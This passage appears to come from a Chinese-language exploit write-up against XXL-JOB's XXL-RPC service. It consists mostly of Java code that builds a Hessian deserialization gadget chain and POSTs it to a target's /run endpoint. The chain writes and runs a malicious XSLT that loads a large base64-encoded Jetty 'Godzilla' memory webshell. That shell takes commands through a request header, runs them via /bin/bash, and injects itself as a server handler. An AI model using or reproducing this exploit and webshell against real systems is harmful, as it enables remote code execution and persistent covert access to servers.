bC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAxnZXRQYXJhbWV0ZXIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAJZ2V0U2VydmVyAQAjKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1NlcnZlcjsBAB9vcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvU2VydmVyAQAKZ2V0SGFuZGxlcgEAJCgpTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAEWphdmEvbGFuZy9Cb29sZWFuAQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAC2dldEhhbmRsZXJzAQAlKClbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC3NldEhhbmRsZXJzAQAmKFtMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0hhbmRsZXI7KVYBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQCAAIgAAAAEAAAAiQCK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";
String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", "com.xxl.job.core.JettyGodzillaMemshell");
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/aaa.xslt", xslt.getBytes()});
SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/aaa.xslt"}});
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
Object gettable = hessian_demo_main.gettable(hashtable1, hashtable2, hashtable3, hashtable4);
HessianSerializer serializer = new HessianSerializer();
// byte[] data = serializer.serialize(xxlRpcRequest);
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output ho = new Hessian2Output(os);
byte[] var5;
SerializerFactory serializerFactory = ho.getSerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(gettable);
ho.flush();
byte[] result = os.toByteArray();
var5 = result;
String shellcode = sendPostRequest("http://127.0.0.1:21000/run", var5);
System.out.println(shellcode);
}
}
注入内存马需要用的Gadgets我们选用JDK原生那条链子,如下:
import com.caucho.hessian.io.*;
import com.xxl.rpc.serialize.impl.HessianSerializer;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Hashtable;
public class App {
public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
try {
// 设置请求方法为POST
connection.setRequestMethod("POST");
// 允许输入输出
connection.setDoOutput(true);
// 设置请求头
connection.setRequestProperty("Content-Type", "application/octet-stream"); // 根据需要设置Content-Type
// 写入请求体
try (OutputStream os = connection.getOutputStream()) {
os.write(rawData);
os.flush();
}
// 读取响应
try (InputStream is = connection.getInputStream()) {
StringBuilder response = new StringBuilder();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
response.append(new String(buffer, 0, bytesRead, "utf-8"));
}
return response.toString();
}
} finally {
connection.disconnect();
}
}
public static void main( String[] args ) throws Exception {
// Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
// Field f = Unsafe.class.getDeclaredField("theUnsafe");
// f.setAccessible(true);
// Object unsafe = f.get(null);
// Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"com.xxl.job.core.EvilCustomizerLoader", bcode, 0, bcode.length, null, null}}};
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
String base64Code = "yv66vgAAADMCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBAChMY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGw7AQAEKEkpVgEAAUkBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAGdW5zYWZlAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACXRoZXVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAKRXhjZXB0aW9ucwEADWdldFZhbHVlRmllbGQBACsoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAFdmFsdWUBABJMamF2YS9sYW5nL09iamVjdDsBAAFqAQANdGhyZWFkTG9jYWxzRgEAC3RocmVhZGxvY2FsAQAFdGFibGUBABpbTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlOwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAMdGhyZWFkc2ZpbGVkAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHARoHAYYHAYcHAS4BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFaBwF9BwGIAQAGaGFuZGxlAQCGKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAARiYXNlAQAiTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0OwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAM8HAYkHAYoBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAB2hhbmRsZXIBADRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb247AQASbXV0YWJsZVdoZW5SdW5uaW5nAQAIaGFuZGxlcnMBACNbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC25ld0hhbmRsZXJzAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwcBJgcBdgcA7AcBgAcBgwcBhAEAClNvdXJjZUZpbGUBABpKZXR0eUdvZHppbGxhTWVtc2hlbGwuamF2YQEAA01ENQcBiwwBjAGNDAGOAY8MAZABkQwBkgGTAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZQBjwwAmgGVDAGWAZcMAZgBmQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJoAmwEAEDNjNmUwYjhhOWMxNTIyNGEMAIkAigEACHVzZXJuYW1lDACLAIoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBmgGbDAGWAZkMAIwAjwwAjACKBwGcDAGdAZ4HAZ8MAaAAngEAD3N1bi5taXNjLlVuc2FmZQwBoQGiAQAJdGhlVW5zYWZlDAGjAaQHAYcMAaUBpgwBpwGoAQAPc3VuL21pc2MvVW5zYWZlDACgAKEHAakMAaoBqwwBrAGtDAGuAa8MAbABsQwBsgGzAQAMdGhyZWFkTG9jYWxzDAG0AZkBACdvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIuSHR0cENvbm5lY3Rpb24MAbUBtgEAJ29yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXRFbmNvZGVyDAG3AbgHAbkMAboBuwEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAG8Ab0BAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAA0FFUwcBiAwBjAG+AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAmgG/DAHAAcEMAcIBwwEAC3gtZnVjay1kYXRhBwHEDAHFAI8MAcYBxwwByAHJAQAHb3MubmFtZQwBygCPDAHLAZkBAAN3aW4MAcwBzQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMHAc4MAc8BpgEAEWphdmEvdXRpbC9TY2FubmVyBwHQDAHRAdIMAdMB1AcB1QwB1gHXDACaAdgBABBcQVNBRFNBREFTRFNBREFTDAHZAdoMAdsBmQcB3AwB3QHeBwHfDAHgAeEMAeIAmwEACGdvZHppbGxhDAHjAI8MAMIAwwwAxQDGDACNAI4BABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwB5AHlDACaAeYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcB5wwB6ACODAHpAbgMAeoB6wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHsAe0MAe4BjwwAugC7DAHsAZcMAKcAqAwB7wHwBwHxDAHyAfMHAfQMAfUB9gEAMm9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9oYW5kbGVyL0hhbmRsZXJDb2xsZWN0aW9uAQATX211dGFibGVXaGVuUnVubmluZwcB9wwB6gH4DAH5AfoMAfsB/AEAIG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyAQAmY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGwMAJoAngwB/QH+AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAJoB/wEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BADBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXIBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEACHRvU3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARb2JqZWN0RmllbGRPZmZzZXQBABwoTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOylKAQAJZ2V0T2JqZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0opTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lzRW1wdHkBAAMoKVoBAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBACBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdAEACnNldEhhbmRsZWQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAxnZXRQYXJhbWV0ZXIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xh